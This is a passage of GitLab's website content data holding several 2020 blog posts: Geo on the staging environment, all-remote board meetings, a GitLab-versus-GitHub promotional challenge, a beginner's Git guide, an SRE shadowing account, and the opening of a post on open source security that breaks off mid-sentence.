}",{"title":24018,"description":24019,"authors":24024,"heroImage":24020,"date":24025,"body":24026,"category":734,"tags":24027},[1719,13833],"2020-04-16","\nWe're testing Geo at scale on GitLab.com – our largest installation of GitLab – because we believe the best way to guarantee that Geo works as expected is to [use it ourselves](/handbook/product/product-processes/#dogfood-everything).\n\nGeo is GitLab's [solution for distributed teams](https://docs.gitlab.com/ee/administration/geo/index.html). We want teams all over the world to have a great user experience - independent of how far away users are from their primary GitLab installation. To accomplish this goal, read-only Geo nodes can be created across the world in close geographical proximity to your teams. These Geo nodes replicate important data, such as projects or LFS files, from the primary GitLab instance and thereby make the data available to users. Geo can also be used as part of a disaster recovery strategy because it adds data redundancy. Geo nodes follow the primary installation closely and allow customers to failover to this node in case the primary node becomes unavailable.\n\nMany of GitLab's customers use Geo on self-managed installations that serve hundreds to thousands of users. Geo is a critical component of GitLab installations and our customers expect Geo to work at any scale. We are testing Geo at scale on our GitLab.com installation because if it works for us, chances are it will work for our worldwide group of users too.\n\nIn this blog post, we'll explain why and how we chose to enable GitLab Geo on our pre-production environment (from now on referred to as \"staging\"), the challenges we encountered, some of the immediate benefits to our customers, and what will be next.\n\n## Why do we need to use Geo at GitLab?\nIn order to build the best product possible, we believe it is imperative to [use GitLab ourselves](/handbook/product/product-processes/#dogfood-everything). Many of our Geo customers have thousands of users actively using GitLab and a major challenge for the team was to test and validate new Geo functionality at scale. Enabling Geo on the GitLab.com staging environment makes this task a lot easier.\n\nWe also used Geo to [migrate GitLab.com from Microsoft Azure to Google Cloud in 2018](/blog/moving-to-gcp/), which allowed us to improve the product by identifying bottlenecks. In the last two years, GitLab has grown dramatically and in order to push Geo forward, we need to enable it (again).\n\n### Test Geo at scale\nWhen the team decides to add new functionalities to Geo, for example [package repository replication](https://gitlab.com/groups/gitlab-org/-/epics/2346), we had to ensure that the feature's performance is as expected. Having Geo available on staging allows us to deploy these changes behind a feature flag first and evaluate the performance before shipping the feature to customers. This is especially relevant to some of Geo's PostgreSQL database queries. On a small test deployment, things may look fine, but at scale these queries can time out, resulting in replication issues.\n\nWe also deploy code to our staging environment twice a week, which means that any regressions surface before a new packaged release.\n\n### Prove that Geo can be deployed as part of our production infrastructure\nA large amount of automation is required to run GitLab.com with millions of users, and our SRE team is constantly improving how we run GitLab.com. The first step bringing Geo into our production environment is to deploy Geo as a part of our staging environment. Without the right monitoring, runbooks, and processes in place, it would not be possible to move Geo into production where it could be used to enable geo-replication and/or as part of our disaster recovery strategy.\n\n## Setting up Geo on staging\n\nSetting up Geo on staging had some unique challenges, you can get a detailed overview in our [Geo on staging documentation](/handbook/engineering/development/enablement/systems/geo/staging.html).\n\nIn order to deploy Geo, we opted for a minimally viable approach that is sufficient for a first iteration. Geo is currently deployed as a single all-in-one box, not yet as a [Geo high-availability configuration](https://docs.gitlab.com/ee/administration/geo/replication/multiple_servers.html). Geo deploys happen automatically via Chef, similar to any other part of the infrastructure.\n\n![Geo staging Diagram](https://about.gitlab.com/images/blogimages/geo-on-staging/geo_staging_diagram.png){: .shadow.medium.center}\n\nWe currently replicate only a subset of data using [Geo's selective synchronization feature](https://docs.gitlab.com/ee/administration/geo/replication/configuration.html#selective-synchronization), which also allows us to dogfood this feature. Selective synchronization uses a number of complex database queries and this helps us validate those at scale. We chose to replicate the `gitlab-org` group, which contains mostly of GitLab's projects (including [GitLab](https://gitlab.com/gitlab-org/gitlab) itself).\n\nWe also needed to configure Geo to use the same logical [Gitaly shards](https://docs.gitlab.com/ee/administration/repository_storage_paths.html) on the secondary compared to the primary node. We'll [improve our Geo documentation](https://gitlab.com/gitlab-org/gitlab/-/issues/213840) to ensure it is clear when this is required.\n\nA logical Gitaly shard is an entry in the GitLab configuration file that points to a path on the file system and a Gitaly address:\n\n```\n\"git_data_dirs\": {\n  \"default\": {\n    \"path\": \"/var/opt/gitlab/git-data-file01\",\n    \"gitaly_address\": \"unix:/var/opt/gitlab/gitaly/gitaly.socket\"\n  }\n}\n```\n\nIn the example above, we have only one logical shard identified by the key `default`, but we could have as many as needed.\nEvery project on GitLab is associated with a logical Gitaly shard, which means that we know where all relevant data (repositories, uploads, etc.) is stored. A project `example` that is associated with the logical Gitaly shard `default`, would therefore be stored at `/var/opt/gitlab/git-data-file01` and the Gitaly server would be available at `/var/opt/gitlab/git-data-file01`.\n\nThis information is stored in the PostgreSQL database and in order for Geo to replicate projects successfully we needed to create the same Gitaly shard layout. On the Geo secondary node, we are using only one physical shard to store the data for all projects. To allow it to replicate any project from the primary node, we had to point all the logical Gitaly shards to the same physical shard on the secondary node.\n\nGeo on staging is configured to use [cascading streaming replication](https://www.postgresql.org/docs/current/warm-standby.html#CASCADING-REPLICATION), which allows one standby node in the staging [Patroni cluster](https://github.com/zalando/patroni) to act as relay and stream write-ahead logs (WAL) to the Geo secondary. This setup also has the advantage that Geo can't put an additional load onto the primary database node and we are also not using physical replication slots to further reduce the load. [Patroni will likely be supported in Omnibus packages](https://gitlab.com/groups/gitlab-org/-/epics/2588) and we will review these settings to allow our customers to benefit from this setup.\n\nPostgreSQL will automatically fall back on its `restore_command` to pull archived WAL segments using [wal-e](https://github.com/wal-e/wal-e), if it cannot retrieve the segment by streaming replication. This can happen after a failover, or if the replication target has deleted the relevant segment if Geo is lagging behind it.\n\nIn the future, we will use this to experiment with [high-availability configurations of PostgreSQL on a secondary Geo node](https://gitlab.com/groups/gitlab-org/-/epics/2536).\n\n## What we learned and how we can improve\n\nWe opened [23 issues before successfully rolling out Geo on our staging environment](https://gitlab.com/groups/gitlab-org/-/epics/1908) - this is too many. We know that installing and configuring Geo in complex environments is time-consuming and error-prone, and is an area where we can improve. The current process for a self-managed installation requires [more than 70 individual steps](https://gitlab.com/gitlab-org/gitlab-design/issues/731) - this is too much. [Geo should be simple to install](https://gitlab.com/groups/gitlab-org/-/epics/1465) and we aim to reduce the number of steps to below 10. Using Geo ourselves really underscored the importance of improvements in this area.\n\n### Some Geo PostgreSQL queries don't perform well\n\nGeo uses PostgreSQL Foreign Data Wrappers (FDW) to perform some cross-database queries between the secondary replica and the tracking database. FDW queries are quite elegant but have lead to some issues in the past. Specifically, staging is still running PostgreSQL 9.6, and Geo benefits from some FDW improvements available only in PostgreSQL 10 and later, such as join push-down and aggregate push-down.\n\nWhile enabling Geo on staging, some FDW queries timed out during the backfill phase. Until staging is being upgraded to a newer version of PostgreSQL, increasing the statement timeout to 20 minutes on the Geo secondary node was sufficient to allow us to proceed with the backfill.\n\nAs a direct consequence of enabling GitLab on staging, we are working to [improve Geo scalability by simplifying backfill operations](https://gitlab.com/groups/gitlab-org/-/epics/2851), eliminating these cross-database queries, and removing the FDW requirement. We also plan to [upgrade to PostgreSQL 11 in GitLab 13.0](https://gitlab.com/groups/gitlab-org/-/epics/2414).\n\n### Bug fixes\nWe've also discovered and fixed a number of bugs in the process, such as [failing to synchronize uploads with missing mount points](https://gitlab.com/gitlab-org/gitlab/-/issues/209752), [invalid ActiveRecord operations](https://gitlab.com/gitlab-org/gitlab/-/issues/210589), and [excessively re-synchronizing files in some situations](https://gitlab.com/gitlab-org/gitlab/-/issues/207808).\n\n## What's next?\nWe are already providing value to our customers by enabling Geo on staging because the Geo team can test and validate Geo at scale at lot easier. Next up is enabling [automatic runs of our end-to-end test on staging](https://gitlab.com/gitlab-org/quality/team-tasks/issues/385), which would reduce the manual testing burden even further. There are also some other improvements, such as [enabling high-availability configurations of PostgreSQL using Patroni on Geo nodes](https://gitlab.com/groups/gitlab-org/-/epics/2536) that we would like to test on staging.\n\nEven though enabling Geo on staging is already very useful, it is just a step forward to rolling out Geo on GitLab.com in production. We are currently evaluating the business case for enabling Geo on GitLab.com as part of our disaster recovery strategy and for geo replication.\n\nCover image by [Donald Giannatti](https://unsplash.com/photos/4qk3nQI3WHY) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[754,676,923],{"slug":24029,"featured":6,"template":678},"geo-is-available-on-staging-for-gitlab-com","content:en-us:blog:geo-is-available-on-staging-for-gitlab-com.yml","Geo Is Available On Staging For Gitlab Com","en-us/blog/geo-is-available-on-staging-for-gitlab-com.yml","en-us/blog/geo-is-available-on-staging-for-gitlab-com",{"_path":24035,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24036,"content":24042,"config":24047,"_id":24049,"_type":16,"title":24050,"_source":17,"_file":24051,"_stem":24052,"_extension":20},"/en-us/blog/remote-board-meeting",{"title":24037,"description":24038,"ogTitle":24037,"ogDescription":24038,"noIndex":6,"ogImage":24039,"ogUrl":24040,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24040,"schema":24041},"How to run an all-remote board meeting","Transitioning your board meeting from a conference room to a Zoom room is easier than you think.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683842/Blog/Hero%20Images/remoteboardmtg.jpg","https://about.gitlab.com/blog/remote-board-meeting","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to run an all-remote board meeting\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilie Schario\"}],\n        \"datePublished\": \"2020-04-15\",\n      }",{"title":24037,"description":24038,"authors":24043,"heroImage":24039,"date":24045,"body":24046,"category":6634},[24044],"Emilie Schario","2020-04-15","\n\nWhile we've been operating remotely at GitLab since the beginning, for a long time we had our board meetings in person at our CEO's home and executives called in over Zoom. The result was a [hybrid call](/handbook/communication/#hybrid-calls-are-horrible), a combination of in-person and remote with suboptimal experiences for both.\n\nAs the largest [all-remote company in the world](/company/culture/all-remote/), we run our entire company without an office - getting together only 1 week a year for our annual get together known as [Contribute](/events/gitlab-contribute/) - but this crucial quarterly meeting was being run differently from everything else.\n\nIn April 2019, GitLab transitioned our board meetings to all remote. This means that none of the attendees are co-located. By doing so, we've made it as easy as possible for the right people to attend our board meetings, including board members, observers, executives, and anyone doing a [deep dive](/handbook/board-meetings/#deep-dives), which can include directors, managers, and, in some cases, individual contributors.\n\nAs an internal strategy consultant at GitLab, I got the opportunity to moderate our last board meeting and it was a really incredible experience. Based on that experience, I've got a couple of tips and tricks that might be useful if you're suddenly transitioning your board meetings to all remote.\n\n## Board meetings are meetings\n\nAt the end of the day, a board meeting is a meeting, but it is possibly your company's most important meeting every quarter. At GitLab, we run our all-remote Board meetings like we run all our other [all-remote meetings](/company/culture/all-remote/meetings/#how-do-you-do-all-remote-meetings-right).\n\nThis starts with making sure **meetings are not for presentations; they're for discussions.** When you get everyone on the same call at the same time, you're not just asking for time, you're asking for synchronous time and attention. In that time, you want to make sure you're focused on doing only things that can be done with all the people on the call.\n\nIn order to make sure our board meetings are efficient, we use an agenda to keep us on track and manage time. For the GitLab board meeting, we ensure that our members and observers have access to the agenda and the materials at least one full week ahead of the meeting so there is ample time to review the information.\n\nOur agenda has a couple of different sections:\n\n* Materials\n* Introductions\n* Questions, organized by topic\n\nThe materials section helps people avoid having to dig through emails to find the right link or reference. For us, this section includes:\n\n* [Board slides](/handbook/board-meetings/#presentation)\n* [CEO video](/handbook/board-meetings/#ceo-video-and-memo)\n* CEO memo\n\nGitLab board Members are asked to add questions in the agenda beforehand. GitLab executives are asked to respond to questions in the agenda prior to the board meeting. We move through the agenda from top to bottom. During the meeting, board members verbalize their questions and our executives respond, even if the questions have already been addressed in the agenda. This is because we recognize that it's easier to give better context and additional details when speaking. Sometimes board members may feel their question is answered by what's in the document already or reframe their question based on the additional information they've been given. In all cases, we strive to make our board meeting more efficient for all folks in it by ensuring we're spending time on things we can only accomplish when we have this particular group assembled together on the same call.\n\nLogistically, our Board meetings occur over Zoom. You can help make this transition easier by offering to practice a Zoom set up or do an audio check with participants beforehand. We sent all our board members headsets to ensure they have access to high-quality audio. For the CEO recorded video beforehand, we use an unlisted video on [GitLab Unfiltered](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A?view_as=subscriber).\n\n## Keeping the conversation flowing with a moderator\n\nI strongly suggest **having someone moderate the meeting**. At GitLab, that is our [chief of staff](/handbook/board-meetings/#board-meeting-process) but I've heard this can also be the CFO, CEO, or a board member.\n\nThink about who might be the best person for this in your organization. Depending on the role, this person may still need to contribute to the meeting but with the added responsibility of keeping the meeting running on schedule.\n\nThe moderator makes sure to start the meeting on time, helps move through all agenda topics, and ends the meeting on time. Since the moderator helps ensure you're moving through the agenda in a timely fashion, it's a good idea to audibly keep time for folks throughout the meeting. Try a phrase like, \"We’re about a quarter of the way through the meeting but still on the first agenda item. Let's keep that in mind as we move onto this next item.\" The moderator must constantly be doing the mental math assessing what is left on the agenda and the time alloted.\n\nThe moderator should keep an eye on all participants - not just the speaker - to gauge how the discussion is going. This is best done using [Gallery View](https://support.zoom.us/hc/en-us/articles/201362323-Changing-the-video-layout-Speaker-view-and-Gallery-view-) (aka Brady Bunch view) to see all the meeting attendees.\n\n## You can transition, too\n\nTransitioning to remote without warning can be difficult on all parts of the business. With these tips, your board meetings can be one less thing to worry about.\n\nIf you're looking to improve your all-remote board meeting, whether it's your first or your fifth, I am always happy to share more about my experience and can be reached at Emilie(at)GitLab.com.\n\nFor help with all other facets of the transition, we’ve covered all the bases in [GitLab’s Remote Playbook](/company/culture/all-remote/).\n\nCover photo by [Drew Beamer](https://unsplash.com/@drew_beamer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/meeting?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note.text-center}\n",{"slug":24048,"featured":6,"template":678},"remote-board-meeting","content:en-us:blog:remote-board-meeting.yml","Remote Board Meeting","en-us/blog/remote-board-meeting.yml","en-us/blog/remote-board-meeting",{"_path":24054,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24055,"content":24060,"config":24065,"_id":24067,"_type":16,"title":24068,"_source":17,"_file":24069,"_stem":24070,"_extension":20},"/en-us/blog/github-free-for-teams",{"title":24056,"description":24057,"ogTitle":24056,"ogDescription":24057,"noIndex":6,"ogImage":23670,"ogUrl":24058,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24058,"schema":24059},"#GitChallenge: Compare GitLab to GitHub and earn swag","Send us a review of GitLab and GitHub and get swag.","https://about.gitlab.com/blog/github-free-for-teams","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"#GitChallenge: Compare GitLab to GitHub and earn swag\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2020-04-14\",\n      }",{"title":24056,"description":24057,"authors":24061,"heroImage":23670,"date":24062,"body":24063,"category":736,"tags":24064},[711],"2020-04-14","\n\nAre you up for a challenge? Compare GitLab and GitHub! If you send us a link to your review on Twitter by tagging @gitlab and #GitChallenge we’ll send you some swag for giving us a try.\n{: .alert .alert-gitlab-purple}\n\nToday, GitHub announced [free private repositories with unlimited collaborators](https://github.blog/2020-04-14-github-is-now-free-for-teams/). This is great news for developers worldwide. GitHub also announced that they are lowering the price of their paid Team product to the same price as [GitLab’s Bronze/Starter](/pricing/premium/) offering: $4 per month per user.\n\nAt GitLab, we’ve offered free private repositories as part of our Core/Free product from the start. We also recently made 18 additional features open source, which will help teams collaborate more effectively in a single product, and we’ve been steadily gaining market share in the version control space, with users switching from BitBucket and GitHub to GitLab.\n\n## What your team loses when you go from GitHub Pro to Free\n\nWhen you go from GitHub Pro to GitHub Free, you lose some features that are already free and available to all users on GitLab and Gitlab.com:\n\n*   Protected branches in private repos\n*   Draft PRs in private repos\n*   GitHub Pages in private repos (using one)\n*   Wikis in private repos\n\n## What your team gains by using GitLab Bronze/Starter\n\nWith GitLab, you get even more features than GitHub Team. When there are multiple users on the same team, use [GitLab Bronze](/pricing/#gitlab-com)/[Starter](/pricing/#self-managed):\n\n*   Code owners in private repos\n*   Multiple issue assignees in private repos\n*   Multiple PR assignees in private repos\n*   Code review automatic assignment in private repos\n*   Standard support\n\n## GitLab is more complete\n\nGitLab is a [complete DevOps platform](/topics/devops/), delivered as a single application. Here is a visual comparison:\n\n![Comparing_GitLab_GitHub](https://about.gitlab.com/images/blogimages/gitlab-github-comparison.jpg){: .shadow}\n\n## Take the #GitChallenge\n\nIt has never been a better time to compare DevOps tools and find the best ones for you.\n\nCompare GitLab (get your [free trial here](/free-trial/)) and GitHub! You can:\n* Record a video and post it on social media\n* Write a blog or Medium post\n* Post your review on one of the many review sites like [G2](https://www.g2.com/products/gitlab/reviews)\n\nAfter you finish your review, send us a link on Twitter by tagging @gitlab and #GitChallenge, and we’ll send you some swag for giving us the feedback!\n",[4103,1067],{"slug":24066,"featured":6,"template":678},"github-free-for-teams","content:en-us:blog:github-free-for-teams.yml","Github Free For Teams","en-us/blog/github-free-for-teams.yml","en-us/blog/github-free-for-teams",{"_path":24072,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24073,"content":24078,"config":24083,"_id":24085,"_type":16,"title":24086,"_source":17,"_file":24087,"_stem":24088,"_extension":20},"/en-us/blog/beginner-git-guide",{"title":24074,"description":24075,"ogTitle":24074,"ogDescription":24075,"noIndex":6,"ogImage":23965,"ogUrl":24076,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24076,"schema":24077},"A guide to Git for beginners","Our senior developer evangelist answers newbie questions about Git.","https://about.gitlab.com/blog/beginner-git-guide","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A guide to Git for beginners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2020-04-13\",\n      }",{"title":24074,"description":24075,"authors":24079,"heroImage":23965,"date":24080,"body":24081,"category":8943,"tags":24082},[11790],"2020-04-13","\n\n_If you're just learning about software development, or are brand new to open source, it won't be long before you encounter Git, a source code management tool and arguably one of the most successful open source projects ever. We asked senior developer evangelist [Brendan O'Leary](/company/team/#brendan) to fill in the background on Git's history and successes in honor of its 15th anniversary._\n\n## What is source code management?\n\nBefore you start in software engineering it's important to understand the concept of [source code management](/solutions/source-code-management/). In its simplest form software is a bunch of text files and if I'm using those by myself it's not a big deal. But when multiple people use multiple files it gets out of hand and you need some way to manage it all. Humans can't necessarily manage all of that easily: If you're working with files A and C and I'm working with C and D, you need a way to bring all the changes we've made together without overriding anything or causing any conflict. A computer can more easily figure that out, and in a nutshell, that's what source code management is.\n\n## Why the term Git?\n\nThere are several different urban legends about this. Linus Torvalds who wrote it is a pretty gruff person [with some acknowledged sharp edges](https://www.newyorker.com/science/elements/after-years-of-abusive-e-mails-the-creator-of-linux-steps-aside). And so the story suggests he actually named it after himself, as in the British slang word, [“git”](https://www.merriam-webster.com/dictionary/git). That may be apocryphal. Also, it's a three-letter combo, meaning it's short and didn't conflict with any existing Unix commands. Now people say it stands for “Global Information Tracker” or “GD Idiot Truckload of...” if you're mad at it.\n\n## But wait. Who is Linus Torvalds?\n\nLinus Torvalds is a Finnish-American software engineer who developed the [Linux kernel](https://www.howtogeek.com/howto/31632/what-is-the-linux-kernel-and-what-does-it-do/) and then invented Git 15 years ago. Torvalds has been quoted as saying he's more \"famous\" for Linux but that over time, Git will [end up being more important](https://www.techrepublic.com/article/linus-torvalds-git-proved-i-could-be-more-than-a-one-hit-wonder/). Torvalds is also widely seen as the godfather of the open source movement.\n\n## Can you explain the rationale behind the cult following of open source?\n\nTorvalds himself has a cult following and open source has been around for a very long time, long before Git was invented. But open source wasn't widely accepted and in some cases, companies were actively hostile to the concept. Torvalds wanted to create a project everyone could contribute to and Git was born (literally developed by Torvalds over a weekend 15 years ago). Git solved a problem that was common across all types of software development and it not only welcomed contributions from users, it _needed_ contributions to grow. The idea of a practical solution everyone could contribute to created a kind of zeitgeist, and today open source is widely embraced as a result.\n\n## How could I explain Git to my neighbor?\n\nWe tend to talk about Git as a tree but I really don't know if that is the best analogy for it. It's a tree in the sense that it makes branches, but then those branches come back together and that doesn't happen in a tree.\n\nInstead, I'd say Git is like a time machine. The whole history of everything that happened on any branch in alternate timelines is brought back together magically. Nothing is lost or changed and you can look backward and move forward. It's magic.\n\n## What's the most important thing I should know about Git?\n\nThat's easy: You can't break it!\n\nBecause it's a magical time machine you really can't do anything to it that can't be fixed. So I always tell beginners to relax and play around with your copy. No matter how many mistakes you make you can't break it in a way that's not fixable.\n\nHave no fear.\n",[1067,815,7715],{"slug":24084,"featured":6,"template":678},"beginner-git-guide","content:en-us:blog:beginner-git-guide.yml","Beginner Git Guide","en-us/blog/beginner-git-guide.yml","en-us/blog/beginner-git-guide",{"_path":24090,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24091,"content":24097,"config":24102,"_id":24104,"_type":16,"title":24105,"_source":17,"_file":24106,"_stem":24107,"_extension":20},"/en-us/blog/lm-sre-shadow",{"title":24092,"description":24093,"ogTitle":24092,"ogDescription":24093,"noIndex":6,"ogImage":24094,"ogUrl":24095,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24095,"schema":24096},"Shadowing a Site Reliability Engineer","On-call through the eyes of a software engineer. Read Laura's week shadowing a Site Reliability Engineer","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679120/Blog/Hero%20Images/sre-shadow-week.jpg","https://about.gitlab.com/blog/lm-sre-shadow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Shadowing a Site Reliability Engineer\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Laura Montemayor\"}],\n        \"datePublished\": \"2020-04-13\",\n      }",{"title":24092,"description":24093,"authors":24098,"heroImage":24094,"date":24080,"body":24100,"category":18484,"tags":24101},[24099],"Laura Montemayor","\n{::options parse_block_html=\"true\" /}\n\n## A day in the life of a SRE at GitLab with Laura Montemayor\n\nHi! I’m [Laura Montemayor](https://gitlab.com/laura.Mon), a Frontend Engineer in GitLab’s [Monitor:Health Group](https://about.gitlab.com/handbook/engineering/development/ops/monitor/respond/). Monitor is one the [DevOps lifecycle stages](https://about.gitlab.com/stages-devops-lifecycle/) that comes after you’ve configured your production infrastructure and have deployed your application to it. We work on features that help you monitor metrics and Kubernetes, track errors, manage incidents, and more.\n\n_If you’re curious about our team, you can check out our [direction page](/direction/monitor/) to see what’s on the roadmap._\n\nA few weeks ago, I had the opportunity to  shadow our SREs, which was pretty exciting\nfor me, as it is monitoring in action.  An SRE is a **Site Reliability Engineer**,\nwho is responsible for keeping all user-facing services and other GitLab production\nsystems running smoothly.  \n\n_You can learn all about them in [our\nhandbook](https://handbook.gitlab.com/job-families/engineering/infrastructure/site-reliability-engineer/)._\n\n**Here are some of my general takeaways from that week:**\n\n#### Less is more when it comes to tooling\nI’ve had non-remote friends ask me what communications tools we use at GitLab, and\nthey are sometimes surprised that it’s not a long list. In a way, I had the same\nexpectation for our SREs and their tooling; I had visions of them all buried underneath monitors, with screens showing moving graphs, stats, logs - the works!. But SREs use\nthe same tools everyone at GitLab uses for communication - GitLab issues, Slack and\nZoom. The workflow is pretty straightforward; the on-call SRE gets pinged on\nPagerDuty, which also sends an alert to a Slack channel, and everything is discussed\neither there or in an issue. True to our [transparency](https://handbook.gitlab.com/handbook/values/#transparency) value,\neveryone at GitLab has access to the channels and the issues, and most of these issues are public.  \n\n_If you are interested in learning more about SREs and the tooling they use (and\nmore!), check out my [teammate’s blog\npost.](/blog/sre-shadow/)_\n\n![sre alert flow](https://about.gitlab.com/images/blogimages/sre-alert-flow.png)  \n_MT = Monitoring Tool_\n\n#### Managing the level of noise is a huge challenge\nDuring the time I shadowed, I probably saw an alert every 5 or so minutes.\nAnd this was during their so called “quiet time”! At first, it seems overwhelming to be alerted so often,\nand everything looked serious and actionable to me. _Queue latency outside of SLO?\nFilesystem will be full SOON?_ I panicked. However, a lot of these alerts are warnings\nand don’t all turn into incidents; but even if they are warnings, sometimes they\nmerit some investigation and discussion, since almost no alert can be truly ignored.\n\n##### Examples of alerts that can usually be ignored:\n1. **CPU/Memory usage that just stepped over 90%** - This can be ignored (but an eye\nshould be kept on it) because the prediction algorithms for usage often raise an\nalert prematurely. The usage normally falls to safe levels or won’t cause an issue\nfor a few more SRE shifts.\n2. **Abuse detection** - This can give a lot of false positives which are not\nnecessarily an incident, like abuse being detected when a project’s pipeline is used\nexcessively.\n\n#### Incidents don’t happen as often as I thought\nSo even though there are a lot of alerts, I was surprised to find the majority of them don’t actually turn into incidents. There was a part of me who wanted to experience an incident, since I\nthought going into a situation room and resolving it would be really exciting. But\nthere were only two incidents, and one of them was resolved straight away and the\nother one was handed over for further investigation. None of them were disruptive to\ncustomers though, so all in all, I figure GitLab must be pretty stable 💪\n\n#### Monitoring is hard (no surprise there!)\nExperience and domain knowledge certainly help when it comes to sifting through the\nnoise, but it doesn’t make it easy.  A lot of alerts happen because they are often\nbased on inflexible Boolean logic or some arbitrary threshold.\nFor example: we got an alert for a spike in the redis-cache latency Apdex.  We\nchecked the Grafana dashboard and realized it was a one off spike in latency, so it\nwas fine for the time being. But it was one more thing to keep an eye out for, and\nthe intermittent spiking kept alerting us, which added more cognitive noise. I can’t even begin to imagine the horror of trying to effectively monitor with a bunch of different tools. This  is why I love\nthe idea of a single app for all your needs 😉\n\n#### Communication is key\nOne thing that helps immensely with monitoring and incident management is\ncommunication. It is one of our [core values](https://handbook.gitlab.com/handbook/values/#collaboration) at GitLab after all, seeing as we are an\nall-remote, async team. If the SRE who is on-call cannot resolve the issue straight\naway, they can just ping other SREs on Slack and someone will be available to help.\nIt’s the advantage of being an async team - there’s always someone available in\nalmost every single timezone! It also means that even if you’re not on the SRE team\nand you’re working on something that will start firing off alerts, you should\ncommunicate with the SREs to let them know. For example: some changes were made in\nthe Pages API, which were rolled out to 20% of the domains. This caused an increase\nin alerts, but since it was properly communicated, the SRE on call could be assured\nthat these alerts were fine to ignore. There was no way of turning these alerts off\nunfortunately, since the rigidity of the tools doesn’t allow it.  \n\n[Here’s the issue](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/1734), if you’re curious.\n\n#### We love issues 🧡\nAt GitLab, we love writing everything down in issues, which helps a lot with incident\nmanagement. Every time an SRE changes shifts, they write a handover issue with a\nsummary of what alerts/incidents are ongoing or resolved, etc. Check out [this\nexample](https://gitlab.com/gitlab-com/gl-infra/on-call-handovers/-/issues/413).\nEvery time an alert actually becomes an incident, the first step is always to\nresolve it, since it affects our customers. After that, an issue is created to\ncollaboratively do a root cause analysis and hopefully prevent it from happening\nagain. Keeping record of all of the incidents is really helpful for context and\nresolution of future incidents.\n\n#### There must be collaboration\nOur SREs who are on-call do not work in isolation, and even though they are the first\npoint of contact for alerts, it’s not expected that they solve everything themselves.\nSometimes things can’t be solved in the moment, like the example below.  \n\n**Incident:** AlertManager is failing to send notifications  \n**Why weren’t we able to resolve it?** We don’t have visibility when Alertmanager doesn’t\nwork, as we don’t have logs or graphs to for it.  \n**So what now?** We first checked to see if there was a similar or a linked issue, and\nthere was. After that, we made an issue for it, linked the other issue, assigned a\ndomain expert, and went from there.  \n\n[Here’s the issue.](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/1707)\n\n#### Monitoring is a growing field\nGiven the imperfect nature of monitoring, it’s only natural that the field is\nconstantly evolving and growing. At GitLab, we recently created a [Scalability team](/handbook/engineering/infrastructure/team/scalability/),\nwhich will help curate our monitoring and alerting. They will frequently update the\ncriteria to generate alerts, which will make the whole process more manageable. My\nteam is responsible for building the features to help monitor and manage incidents,\nand we’re currently working on features which will help with our SREs workflow. If\nyou’re interested, check out our [Ops Section Product Vision](/direction/ops/) for more details. You can also check out the [reliability guide](/handbook/engineering/infrastructure/team/reliability/) for\na more in-depth and robust look at what our SREs do.  \n\n[Join us](/jobs/) at GitLab! Or consider [trying us\nout](/free-trial/) for free.\n",[4103,6962],{"slug":24103,"featured":6,"template":678},"lm-sre-shadow","content:en-us:blog:lm-sre-shadow.yml","Lm Sre Shadow","en-us/blog/lm-sre-shadow.yml","en-us/blog/lm-sre-shadow",{"_path":24109,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24110,"content":24116,"config":24121,"_id":24123,"_type":16,"title":24124,"_source":17,"_file":24125,"_stem":24126,"_extension":20},"/en-us/blog/open-source-security",{"title":24111,"description":24112,"ogTitle":24111,"ogDescription":24112,"noIndex":6,"ogImage":24113,"ogUrl":24114,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24114,"schema":24115},"How we manage open source security software","Open source software presents unique security challenges. Here’s what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681227/Blog/Hero%20Images/opensourcesecurity.jpg","https://about.gitlab.com/blog/open-source-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we manage open source security software\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2020-04-10\",\n      }",{"title":24111,"description":24112,"authors":24117,"heroImage":24113,"date":24118,"body":24119,"category":674,"tags":24120},[5362],"2020-04-10","\n\n_In February 2020, Harvard University and the Linux Foundation’s Core Infrastructure Initiative released a joint report, [Vulnerabilities in the Core](https://www.hbs.edu/news/releases/Pages/census-open-source-software-security.aspx), looking at security challenges in the open source software world. Open source software has [taken over the world](https://techcrunch.com/2019/01/12/how-open-source-software-took-over-the-world/), but with its astronomical popularity comes the potential for huge risk. We thought this was an excellent opportunity to ask senior security engineer [Mark Loveless](/company/team/#mloveless) for his thoughts on open source security, how GitLab approaches it, and some ways you can move the bar forward in your company._\n\nI was quite pleased that an institution like Harvard would be taking a hard look at open source software. Security is often difficult for people to understand how much it impacts real lives. Nerd types (the InfoSec community) try to communicate to the \"normals\" to explain to them why they need to care about security. Granted, this barely tracks on the radar of many people in our own field, as some of the Infosec community think they already know it.\n\n## Inside our security plan\n\nWe have dedicated people at GitLab looking at our own code, trying to find security flaws. We have a group that deals 